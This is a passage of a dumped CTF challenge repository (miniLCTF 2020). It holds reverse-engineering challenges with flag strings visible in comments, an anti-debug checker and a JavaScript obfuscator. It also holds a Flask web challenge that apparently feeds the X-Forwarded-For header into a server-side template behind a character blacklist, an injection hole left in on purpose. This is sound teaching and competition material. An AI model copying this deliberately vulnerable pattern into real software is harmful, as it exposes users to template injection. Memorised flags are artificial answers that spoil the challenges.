1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:1994e57a8e1e777104a7de262d50ee1e79ac7bcb8b16371c50a9c6bd0687dec0 3 | size 5700 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/status/Qme.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:dd581695bc031890b68f44d3135735617d6af14ecdb4e5d904d840b64bb1a897 3 | size 312 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/status/away.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:2455ec1736e7344b3b78632f5f9eae9b1aabe4611a61e76be4c63cf1582dd263 3 | size 411 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/status/busy.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:6871387102f302d7d87a2698744c9b0e07341cb3d7bc4bbea22ec750b3ec87fd 3 | size 238 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/status/imonline.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:ff412766ea3c167825017b85a783a4e6b4d99744ec733205f9079c2317f233eb 3 | size 244 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/status/invisible.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:5aff964759ba0dbee27f159894e4f8ccc2de8eed053d88cf40d04805aa9266bd 3 | size 235 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/LoginFrame/status/mute.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:3d7c89833388e631c06169723dfadcf97fb7d8da91d420f08ea53c6ad2d11f1e 3 | size 316 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/SysBtn/aio_setting_down.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:5bd4f9eb52675fcc8e91df968fbc3c32687974273fe6af0c5110db3a69223621 3 | size 163 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/SysBtn/aio_setting_hover.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:0728704d2695e210bc446dbc23d0f32d20d392be4fd3f7bca9d9fde30946e7bc 3 | size 161 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/SysBtn/aio_setting_normal.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:14ee2b1171d4d4d83de01ccc4a7e091bc2067bab2a1e2e4832121bf68d187776 3 | size 164 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/SysBtn/sysbtn_close_down.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:7865d328358b319f7702a0e99db18a5dc12dc6983afa353d205aed8e6052143b 3 | size 209 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/SysBtn/sysbtn_close_hover.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:1ef4c7ae4672eafea883f8d105c954d87fa6447c54e33fc6f966ee64d2f56c0b 3 | size 214 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/SysBtn/sysbtn_close_normal.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:f27f3eeba51afc1986b9ed771803883f264013aaa25d9d1f76d94e07fc41974d 3 | size 193 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/SysBtn/sysbtn_max_down.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:534887e293fd6a9a66fd8a8cf3cfc9c70057ffab206d32c2842672bf68524052 3 | size 129 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/SysBtn/sysbtn_max_hover.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:d99063c5c18bd7a3e06cbb937f0d41e12091d6ef0badf963d87398d25979df76 3 | size 124 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/SysBtn/sysbtn_max_normal.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:f6f93279fc5ec853c8ec667dfe8032591ff89f01ee96d492cab65bf2b4e8194d 3 | size 139 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/SysBtn/sysbtn_min_down.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:d9db2b234a83ba6fe7a7da537200cfe3053e6b3a95909f4b898297b96ca4e030 3 | size 114 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/SysBtn/sysbtn_min_hover.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:96ae4a7bb2c3ef47daf0a8166518c4062573385b73f42fa6fabdbf9f105f9289 3 | size 113 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/SysBtn/sysbtn_min_normal.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:d68ef114039d2cc2c6666d7c2f6223dff5022ab6a8168b5820597b3625b928e2 3 | size 129 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/SysBtn/sysbtn_restore_down.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:d66637c28f8785e3ca4ac6fa518940b9c32d01e3cb978904529ca722e3b79853 3 | size 130 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/SysBtn/sysbtn_restore_hover.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:e50da11916840ea6eca54cd1500bd23cd951e7868802ef23a7a76bfbeff0d441 3 | size 130 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/SysBtn/sysbtn_restore_normal.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:ee175b4181917dbe2dda0e3573c0edf3e609204df17002ddbc3fccb8265cfa32 3 | size 145 4 | -------------------------------------------------------------------------------- /challenges/reverse/EPL-Fish/res/defaultFace.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:4b680e3398b510e531843292e02bfecd68d02efd125e9fc9abc6d87b1fc9cf6d 3 | size 3948 4 | -------------------------------------------------------------------------------- /challenges/reverse/What's Virtialization/README.md: -------------------------------------------------------------------------------- 1 | ## What's Virtialization 2 | # 非原始版本 3 | 比赛的时候被选手发现有非预期解,因此将所有非预期通过简易移位hash做了检测。其余逻辑主体没有改动。仅仅只加了一个验证,不影响正常的思路和原始预期解。 4 | 5 | 另: 6 | 1、选手在写WP的时候说不懂本题的虚拟化是什么意思,详见ollvm的相关虚拟化手段, [https://github.com/obfuscator-llvm/obfuscator/wiki/Instructions-Substitution] 本题仅运用了VMP万用门作为虚拟化的引入。 7 | 2、流平整代码已在源码中给出,可编译后dbg感受一下流平整的难度( 8 | -------------------------------------------------------------------------------- /challenges/reverse/What's Virtialization/src/control_flow_flattening.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int num[9] = {1, 1, 2, 3, 5, 8, 13, 21, 34}; 7 | //char flag[] = "MiniLCTF{Wh@t_iS_virti@liz@tiOn}"; 8 | char ch[] = "020408"; 9 | //char ah[] = "}[^]|{dtKcXxDmYgoNY@D]pTYHp@Yw^O"; //32 10 | 11 | char ah1[] = "}[^]|{"; //6 12 | char ah2[] = "dtKcXxDmYgoNY"; //13 13 | char ah3[] = "@D]pTYHp@Yw^O"; //13 14 | char input[100]; 15 | char temp[100]; 16 | int main() { 17 | int next = 0; 18 | int len; 19 | int f; 20 | int i, j; 21 | for (;;) 22 | switch (next) { 23 | case 0: 24 | printf("Welcome to MiniLCTF!\n"); 25 | printf("Plz input your flag:"); 26 | next = 1; 27 | break; 28 | case 1: 29 | scanf_s("%s", input, 100); 30 | len = strlen(input); 31 | f = 100; 32 | next = 2; 33 | break; 34 | case 2: 35 | if ((len * len + num[0] * num[0] >= num[2] * len * num[0]) && (O(len, num[1]) == num[8] - num[0])) 36 | next = 3; 37 | else 38 | next = 23; //跳转到结尾 39 | break; 40 | case 3: 41 | i = 0; 42 | j = 0; 43 | next = 4; 44 | break; 45 | case 4: //循环1 46 | if (i < 6) 47 | next = 5; 48 | else 49 | next = 9; 50 | break; 51 | case 5: 52 | temp[i] = (char)XO((int)input[i], (int)ch[j]); 53 | j = (j + num[0]) % (num[1] + num[4]); 54 | next = 6; 55 | break; 56 | case 6: 57 | if (A((int)temp[i], (int)ah1[i]) != (int)temp[i]) 58 | next = 7; 59 | else 60 | next = 8; 61 | break; 62 | case 7: 63 | f = A(f, XO(num[3] / 3, num[0])); 64 | next = 8; 65 | break; 66 | case 8: 67 | i++; 68 | next = 4; 69 | break; 70 | case 9: 71 | if (O(f, num[8]) != num[7] + num[6]) { 72 | next = 10; 73 | i = 0; 74 | } else 75 | next = 23; 76 | break; 77 | case 10: 78 | if (i < 13) 79 | next = 11; //循环2 80 | else 81 | next = 15; 82 | break; 83 | case 11: 84 | temp[i + 6] = (char)XO((int)input[i + 6], (int)ch[j]); 85 | j = (j + num[1]) % (num[2] * num[3]); 86 | next = 12; 87 | break; 88 | case 12: 89 | if (A((int)temp[i + 6], (int)ah2[i]) != (int)temp[i + 6]) 90 | next = 13; 91 | else 92 | next = 14; 93 | break; 94 | case 13: 95 | f = A(f, XO(num[5] / 2 - 3, num[1])); 96 | next = 14; 97 | break; 98 | case 14: 99 | i++; 100 | next = 10; 101 | break; 102 | case 15: 103 | if (O(f, num[7]) != num[6] + num[5]) { 104 | next = 16; 105 | i = 0; 106 | } else 107 | next = 23; 108 | break; 109 | case 16: 110 | if (i < 13) 111 | next = 17; //循环3 112 | else 113 | next = 21; 114 | break; 115 | case 17: 116 | temp[i + 19] = (char)XO((int)input[i + 19], (int)ch[j]); 117 | j = (j + num[2] / 2) % (num[5] - num[2]); 118 | next = 18; 119 | break; 120 | case 18: 121 | if (A((int)temp[i + 19], (int)ah3[i]) != (int)temp[i + 19]) 122 | next = 19; 123 | else 124 | next = 20; 125 | break; 126 | case 19: 127 | f = A(f, XO(num[7] / 7, num[3])); 128 | next = 20; 129 | break; 130 | case 20: 131 | i++; 132 | next = 16; 133 | break; 134 | case 21: 135 | if (N(f) != f - num[0]) 136 | next = 22; 137 | else 138 | next = 23; 139 | case 22: 140 | printf("\nCongratulations! Your flag is right!"); 141 | getchar(); 142 | next = 23; 143 | case 23: 144 | getchar(); 145 | return 0; 146 | } 147 | } -------------------------------------------------------------------------------- /challenges/reverse/What's Virtialization/src/virtualization.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2020/31172d66b418eeac194338c76ecf4d78c23d32b4/challenges/reverse/What's Virtialization/src/virtualization.cpp -------------------------------------------------------------------------------- /challenges/reverse/easyre/easyre.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int um() 5 | { 6 | UINT64 dwBaseImage = (UINT64)GetModuleHandle(NULL); 7 | DWORD checksum = 0; 8 | for (int i = 0; i < 0x1853; i++) 9 | { 10 | checksum += *(PBYTE)(dwBaseImage + i); 11 | } 12 | return checksum; 13 | } 14 | void Test() 15 | { 16 | int flagNum[24] = { 0x9,0x5,0xa,0x5,0x8,0x17,0x1,-3,0xf,0x15,0xe,0x1,-61,0xf,-5,0x1,-3,0xf,0x15,0x19}; 17 | char hint[64] = { 0x50,0x6c,0x65,0x61,0x73,0x65,0x20,0x69,0x6e,0x70,0x75,0x74,0x20,0x79,0x6f,0x75,0x72,0x20,0x66,0x6c,0x61,0x67,0x3a,0x0,0x77,0x72,0x06f,0x6e,0x67,0x00,0x52,0x69,0x67,0x68,0x74 }; 18 | char flag[256]; 19 | int flagLen = 0; 20 | puts((char*)hint); 21 | std::cin >> flag; 22 | flagLen = 20; 23 | if (flagLen != 20) 24 | { 25 | puts((char*)hint + 24); 26 | exit(1); 27 | } 28 | for (int i = 0; i < flagLen; i++) 29 | { 30 | if (flag[i] != flagNum[i]+0x64) 31 | { 32 | puts((char*)hint + 24); 33 | exit(1); 34 | } 35 | } 36 | puts((char*)hint + 30); 37 | } 38 | int am() 39 | { 40 | BOOL ret; 41 | CheckRemoteDebuggerPresent(GetCurrentProcess(), &ret); 42 | if (ret) 43 | { 44 | exit(1); 45 | } 46 | return 0; 47 | } 48 | int sum = um(); 49 | int main(void) 50 | { 51 | int flag = am(); 52 | if (sum == um()) 53 | { 54 | Test(); 55 | system("pause"); 56 | } 57 | return 0; 58 | } -------------------------------------------------------------------------------- /challenges/reverse/machine/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ctftraining/base_image_nginx 2 | 3 | RUN apk add --update nodejs --no-cache 4 | 5 | COPY . /opt 6 | WORKDIR /opt 7 | 8 | COPY ./start.sh /flag.sh -------------------------------------------------------------------------------- /challenges/reverse/machine/build.js: -------------------------------------------------------------------------------- 1 | var fs = require('fs') 2 | var ug = require('./ug') 3 | var src = fs.readFileSync('./index.js').toString() 4 | var s = ug(ug(src)) 5 | fs.writeFileSync('output.js', s) -------------------------------------------------------------------------------- /challenges/reverse/machine/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 |
your flag:
5 |
    6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /challenges/reverse/machine/index.js: -------------------------------------------------------------------------------- 1 | var machine = { 2 | 0x0016: {}, 3 | 0x1245: function base64encode(str) { 4 | try { 5 | return Buffer.from(str, 'utf8').toString('base64'); 6 | } catch (e) { 7 | return btoa(str) 8 | } 9 | }, 10 | 0x1428: function(arr, index, value) { 11 | arr[index] = value 12 | }, 13 | 0x8752: function(k, v) { 14 | this[0x0016][k] = v 15 | }, 16 | 0: function(x) { 17 | var a = this[0x1245](x) 18 | a = a.split('').reverse().join('') 19 | var b = [] 20 | for(var i=0;i>>'); 31 | this.forEach(function (item) { 32 | console.log(item[0] + ': ' + item[1]); 33 | }); 34 | console.log('<<>>'); 23 | this.forEach(function (item) { 24 | console.log(item); 25 | }); 26 | console.log('<< window['globalVar'] 4 | * (then we cantreat global var as literal) 5 | * 2. find other literal(explicit literal and obj.prop) 6 | */ 7 | 8 | 'use strict'; 9 | 10 | var ast = require('./ast'), 11 | getDeclSet = require('./getDeclSet'), 12 | _ = require('./util'), 13 | config = require('./config'), 14 | Set = require('./Set'), 15 | walk = ast.walk, 16 | isFunc = ast.isFunc; 17 | 18 | var declSetStack, declSet, literalSet, inWith; 19 | 20 | function getLiteralSet(ast) { 21 | declSet = new Set; 22 | config.defined.forEach(function (item) { 23 | declSet.add(item); 24 | }); 25 | declSet.add(config.thisId); 26 | declSetStack = []; 27 | declSetStack.push(declSet); 28 | literalSet = new Set; 29 | inWith = false; 30 | _walk(ast); 31 | return literalSet; 32 | } 33 | 34 | function _walk(node) { 35 | walk(node, function (node) { 36 | // is function, push scope and walk body 37 | if (isFunc(node)) { 38 | declSetStack.push(declSet = _.unionSet(declSet, getDeclSet(node))); 39 | _walk(node.body); 40 | declSet = declSetStack.pop(); 41 | // is catch clause, push scope and walk body 42 | } else if (node.type === 'CatchClause') { 43 | declSetStack.push(declSet = _.unionSet(declSet, getDeclSet(node))); 44 | _walk(node.body); 45 | declSet = declSetStack.pop(); 46 | // rewrite obj.prop 47 | } else if (node.type === 'MemberExpression' && !node.computed) { 48 | literalSet.add(node.property.name); 49 | node.computed = true; 50 | node.property = { 51 | type: 'Literal', 52 | value: node.property.name 53 | }; 54 | _walk(node.object); 55 | // explicit literal 56 | } else if (node.type === 'Literal') { 57 | // ignore 'use strict' and regex 58 | if (node.value !== 'use strict' && !node.regex) literalSet.add(node.value); 59 | } else if (node.type === 'VariableDeclarator') { 60 | _walk(node.init); 61 | // rewrite global var (don't rewrite in with statement or function used eval) 62 | } else if (node.type === 'Identifier' && !declSet.has(node.name) && !inWith && !getDeclSet.usedEval) { 63 | literalSet.add(node.name); 64 | _.assignObj(node, { 65 | type: 'MemberExpression', 66 | computed: true, 67 | object: { 68 | type: 'Identifier', 69 | name: config.thisId 70 | }, 71 | property: { 72 | type: 'Literal', 73 | value: node.name 74 | } 75 | }); 76 | // with statement 77 | } else if (node.type === 'WithStatement') { 78 | inWith = true; 79 | _walk(node.body); 80 | inWith = false; 81 | // ignore keys of object literals 82 | } else if (node.type === 'Property') { 83 | _walk(node.value); 84 | } else { 85 | Object.getOwnPropertyNames(node).forEach(function (key) { 86 | _walk(node[key]); 87 | }); 88 | } 89 | }); 90 | } 91 | 92 | module.exports = getLiteralSet; -------------------------------------------------------------------------------- /challenges/reverse/machine/ug/src/idGen.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | var prefix = '$' + ((Math.random() * 1000) >> 0) + '$', 4 | nextId = 0; 5 | 6 | exports.next = function () { 7 | return prefix + nextId++; 8 | }; -------------------------------------------------------------------------------- /challenges/reverse/machine/ug/src/index.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | var parse = require('esprima').parse, 4 | gen = require('escodegen').generate, 5 | uglify = require('uglify-js').minify, 6 | fs = require('fs'), 7 | path = require('path'), 8 | ug = require('./ug'); 9 | 10 | function wrap(ugAst){ 11 | if(ugAst && ugAst.body && ugAst.body.length && ugAst.body[0].expression && ugAst.body[0].expression.arguments){ 12 | var charMap = {}; 13 | var charArr = []; 14 | var tpl = fs.readFileSync(path.join(__dirname, 'template.js')); 15 | var tplAst = parse(tpl); 16 | var expression = tplAst.body[0].expression; 17 | expression.callee.body.body = ugAst.body; 18 | var MAP_FUNCTION_ID = expression.callee.params[0].name; 19 | var args = ugAst.body[0].expression.arguments; 20 | args.forEach(function(token, index){ 21 | if(token.value && token.type === 'Literal' && typeof token.value === 'string'){ 22 | var params = []; 23 | token.value.split('').forEach(function(c){ 24 | if(!charMap.hasOwnProperty(c)){ 25 | charMap[c] = charArr.length; 26 | charArr.push(c); 27 | } 28 | params.push({ 29 | type: 'Literal', 30 | value: charMap[c], 31 | raw: '0x' + charMap[c].toString(16) 32 | }); 33 | }); 34 | token = { 35 | type: 'CallExpression', 36 | callee: { 37 | type: 'Identifier', 38 | name: MAP_FUNCTION_ID 39 | }, 40 | arguments: params 41 | }; 42 | } 43 | args[index] = token; 44 | }); 45 | var params = []; 46 | charArr.forEach(function(c){ 47 | params.push({ 48 | type: 'Literal', 49 | value: c, 50 | raw: "'" + c + "'" 51 | }); 52 | }); 53 | expression.arguments[0].arguments[0].elements = params; 54 | return tplAst; 55 | } 56 | } 57 | 58 | function fromStr(srcStr) { 59 | var srcAst = parse(srcStr); 60 | // fs.writeFileSync('srcAst.json', JSON.stringify(srcAst, null, 2)); 61 | var outAst = ug(srcAst); 62 | // fs.writeFileSync('ugAst.json', JSON.stringify(outAst, null, 2)); 63 | var wrapAst = wrap(outAst); 64 | // fs.writeFileSync('wrapAst.json', JSON.stringify(outAst, null, 2)); 65 | var out = gen(wrapAst, { format: { indent: { style: ' ' } } }); 66 | // fs.writeFileSync('oout.js', out); 67 | // return out; 68 | return uglify(out, { fromString: true }).code; 69 | } 70 | 71 | fromStr.inplace = function (file) { 72 | var src = fs.readFileSync(file), 73 | out = fromStr(src); 74 | fs.writeFileSync(file, out); 75 | }; 76 | 77 | module.exports = fromStr; -------------------------------------------------------------------------------- /challenges/reverse/machine/ug/src/replace.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | var ast = require('./ast'), 4 | _ = require('./util'), 5 | config = require('./config'), 6 | walk = ast.walk; 7 | 8 | var literalMap, definedMap; 9 | 10 | function replace(ast, _literalMap, _definedMap) { 11 | literalMap = _literalMap; 12 | definedMap = _definedMap; 13 | _walk(ast); 14 | } 15 | 16 | function _walk(node) { 17 | walk(node, function (node) { 18 | var uglyId; 19 | // replace literal 20 | if (node.type === 'Literal' && !node.regex) { 21 | if (uglyId = literalMap.get(node.value)) { 22 | _.assignObj(node, { 23 | type: 'Identifier', 24 | name: uglyId 25 | }); 26 | } 27 | // replace defined id 28 | } else if (node.type === 'Identifier') { 29 | if (uglyId = definedMap.get(node.name)) { 30 | node.name = uglyId; 31 | } 32 | // don't treat keys of object literal as literals 33 | } else if (node.type === 'Property') { 34 | _walk(node.value); 35 | } else { 36 | Object.getOwnPropertyNames(node).forEach(function (key) { 37 | _walk(node[key]); 38 | }); 39 | } 40 | }); 41 | } 42 | 43 | module.exports = replace; -------------------------------------------------------------------------------- /challenges/reverse/machine/ug/src/replaceOuter.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | var ast = require('./ast'), 4 | config = require('./config'), 5 | _ = require('./util'), 6 | walk = ast.walk, 7 | isFunc = ast.isFunc, 8 | clearNode = ast.clearNode; 9 | 10 | var funcDecls; 11 | 12 | function replaceOuter(body) { 13 | funcDecls = []; 14 | _walk(body); 15 | funcDecls.reverse().forEach(function (decl) { 16 | body.splice(0, 0, decl); 17 | }); 18 | } 19 | 20 | function _walk(node, isExpression) { 21 | walk(node, function () { 22 | // replace this 23 | if (node.type === 'ThisExpression') { 24 | _.assignObj(node, { 25 | type: 'Identifier', 26 | name: config.thisId 27 | }); 28 | // rewrite 'function a() {}' to 'window['a'] = function () {}' (bubbling to top) 29 | } else if (node.type === 'FunctionDeclaration') { 30 | funcDecls.push({ 31 | type: 'ExpressionStatement', 32 | expression: { 33 | type: 'AssignmentExpression', 34 | operator: '=', 35 | left: { 36 | type: 'MemberExpression', 37 | computed: true, 38 | object: { 39 | type: 'ThisExpression' 40 | }, 41 | property: { 42 | type: 'Literal', 43 | value: node.id.name 44 | } 45 | }, 46 | right: { 47 | type: 'FunctionExpression', 48 | id: null, 49 | params: node.params, 50 | defaults: node.defaults, 51 | body: node.body, 52 | generator: node.generator, 53 | expression: node.expression 54 | } 55 | } 56 | }); 57 | clearNode(node); 58 | // rewrite 'var a, b = 'b', c' to 'this['b'] = 'b'' 59 | } else if (node.type === 'VariableDeclaration') { 60 | var expressions = []; 61 | node.declarations.forEach(function (decl) { 62 | if (decl.init) { 63 | _walk(decl.init); 64 | expressions.push({ 65 | type: 'AssignmentExpression', 66 | operator: '=', 67 | left: { 68 | type: 'MemberExpression', 69 | computed: true, 70 | object: { 71 | type: 'Identifier', 72 | name: config.thisId 73 | }, 74 | property: { 75 | type: 'Literal', 76 | value: decl.id.name 77 | } 78 | }, 79 | right: decl.init 80 | }); 81 | } 82 | }); 83 | if (expressions.length > 0) { 84 | _.assignObj(node, { 85 | type: 'SequenceExpression', 86 | expressions: expressions 87 | }); 88 | } else { 89 | clearNode(node, isExpression); 90 | } 91 | // don't walk into functions 92 | } else if (!isFunc(node)) { 93 | Object.getOwnPropertyNames(node).forEach(function (key) { 94 | if (node.type === 'ForStatement' && key === 'init' || 95 | node.type === 'ForInStatement' && key === 'left') { 96 | _walk(node[key], true); 97 | } else { 98 | _walk(node[key]); 99 | } 100 | }); 101 | } 102 | }); 103 | } 104 | 105 | module.exports = replaceOuter; -------------------------------------------------------------------------------- /challenges/reverse/machine/ug/src/template.js: -------------------------------------------------------------------------------- 1 | (function(map){ 2 | (function(a, b){ 3 | console.log(a); 4 | })(map(0, 1, 2), map(2, 1, 0)); 5 | })(function(letters){ 6 | return function(){ 7 | var args = arguments, ret = ''; 8 | for(var i = 0, len = args.length; i < len; i++){ 9 | ret += letters[args[i]]; 10 | } 11 | return ret; 12 | } 13 | }(['a', 'b', 'c'])); -------------------------------------------------------------------------------- /challenges/reverse/machine/ug/src/ug.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | var getLiteralSet = require('./getLiteralSet'), 4 | idGen = require('./idGen'), 5 | replace = require('./replace'), 6 | _ = require('./util'), 7 | config = require('./config'), 8 | replaceOuter = require('./replaceOuter'), 9 | Map = require('./Map'); 10 | 11 | config.defined = ['undefined']; 12 | 13 | function ug(ast) { 14 | config.thisId = idGen.next(); 15 | replaceOuter(ast.body); 16 | var literalSet = getLiteralSet(ast), 17 | literalMap = new Map, 18 | definedMap = new Map; 19 | literalSet.forEach(function (item) { 20 | literalMap.set(item, idGen.next()); 21 | }); 22 | config.defined.forEach(function (item) { 23 | definedMap.set(item, idGen.next()); 24 | }); 25 | replace(ast, literalMap, definedMap); 26 | return wrap(ast, literalMap, definedMap); 27 | } 28 | 29 | function wrap(ast, literalMap, definedMap) { 30 | var args = [], 31 | params = [], 32 | bodys = [], 33 | varMap = new Map; 34 | args.push({ 35 | type: 'ThisExpression' 36 | }); 37 | params.push({ 38 | type: 'Identifier', 39 | name: config.thisId 40 | }); 41 | definedMap.forEach(function (item) { 42 | args.push({ 43 | type: 'Identifier', 44 | name: item[0] 45 | }); 46 | params.push({ 47 | type: 'Identifier', 48 | name: item[1] 49 | }); 50 | }); 51 | literalMap.forEach(function (item) { 52 | args.push({ 53 | type: 'Literal', 54 | value: item[0] 55 | }); 56 | params.push({ 57 | type: 'Identifier', 58 | name: item[1] 59 | }); 60 | }); 61 | ast.body.forEach(function (item) { 62 | bodys.push(item); 63 | }); 64 | return { 65 | type: 'Program', 66 | body: [ 67 | { 68 | type: 'ExpressionStatement', 69 | expression: { 70 | type: 'CallExpression', 71 | callee: { 72 | type: 'FunctionExpression', 73 | id: null, 74 | params: params, 75 | defaults: [], 76 | body: { 77 | type: 'BlockStatement', 78 | body: bodys 79 | }, 80 | generator: false, 81 | expression: false 82 | }, 83 | arguments: args 84 | } 85 | } 86 | ] 87 | }; 88 | } 89 | 90 | module.exports = ug; -------------------------------------------------------------------------------- /challenges/reverse/machine/ug/src/util.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | var Set = require('./Set'); 4 | 5 | exports.assignObj = function (src, dst) { 6 | var key; 7 | for (key in src) delete src[key]; 8 | for (key in dst) src[key] = dst[key]; 9 | }; 10 | 11 | exports.unionSet = function (set1, set2) { 12 | var res = new Set; 13 | set1.forEach(function (item) { 14 | res.add(item); 15 | }); 16 | set2.forEach(function (item) { 17 | res.add(item); 18 | }); 19 | return res; 20 | }; 21 | 22 | exports.cloneObj = function cloneObj(obj) { 23 | var res, item, key; 24 | if (obj instanceof Array) { 25 | res = []; 26 | for (item of obj) res.push(cloneObj(item)); 27 | return res; 28 | } else if (typeof obj === 'object' && obj !== null) { 29 | res = {}; 30 | for (key in obj) res[key] = cloneObj(obj[key]); 31 | return res; 32 | } else { 33 | return obj; 34 | } 35 | }; -------------------------------------------------------------------------------- /challenges/web/Personal_IP_Query/Dockerfile: -------------------------------------------------------------------------------- 1 | # this is an official Python runtime, used as the parent image 2 | FROM python:3.7 3 | 4 | # workdir 5 | WORKDIR /usr/src/app 6 | 7 | # copy files 8 | COPY . . 9 | 10 | # install flask 11 | RUN pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple -r ./requirements.txt 12 | 13 | # unblock port 80 for the Flask app to run on 14 | EXPOSE 80 15 | 16 | # create flag file and start server 17 | CMD ["gunicorn", "PersonalIPQuery:app", "-c", "./gunicorn.conf.py"] -------------------------------------------------------------------------------- /challenges/web/Personal_IP_Query/PersonalIPQuery/__init__.py: -------------------------------------------------------------------------------- 1 | from flask import Flask 2 | import os 3 | 4 | 5 | def create_flag_file(): 6 | flag = '' 7 | try: 8 | flag = os.environ["flag"] 9 | del os.environ['flag'] 10 | except KeyError: 11 | pass 12 | 13 | try: 14 | flag = os.environ["FLAG"] 15 | del os.environ['FLAG'] 16 | 17 | except: 18 | flag = 'minilCTF{123456}' 19 | 20 | flag = flag 21 | with open("/flag", "w") as f: 22 | f.write(flag) 23 | 24 | 25 | create_flag_file() 26 | 27 | del os 28 | 29 | app = Flask(__name__) 30 | 31 | import PersonalIPQuery.views 32 | 33 | if __name__ == '__main__': 34 | app.run() 35 | -------------------------------------------------------------------------------- /challenges/web/Personal_IP_Query/PersonalIPQuery/views.py: -------------------------------------------------------------------------------- 1 | from PersonalIPQuery import app 2 | from flask import request, render_template_string 3 | 4 | 5 | flag = "/flag" 6 | 7 | 8 | def check_context(context): 9 | 10 | blacklist = ["_", "encode", "decode", "+", "\"", "'"] 11 | 12 | for item in blacklist: 13 | if item in context: 14 | return False 15 | 16 | return True 17 | 18 | 19 | @app.route('/') 20 | def hello_world(): 21 | 22 | if request.headers.getlist("X-Forwarded-For"): 23 | ip = request.headers.getlist("X-Forwarded-For")[0] 24 | 25 | else: 26 | ip = request.remote_addr 27 | 28 | context = \ 29 | """ 30 | 31 | 32 | 33 | 34 | Personal IP query system 35 | 36 | 37 |

    38 | Your IP: {} 39 |

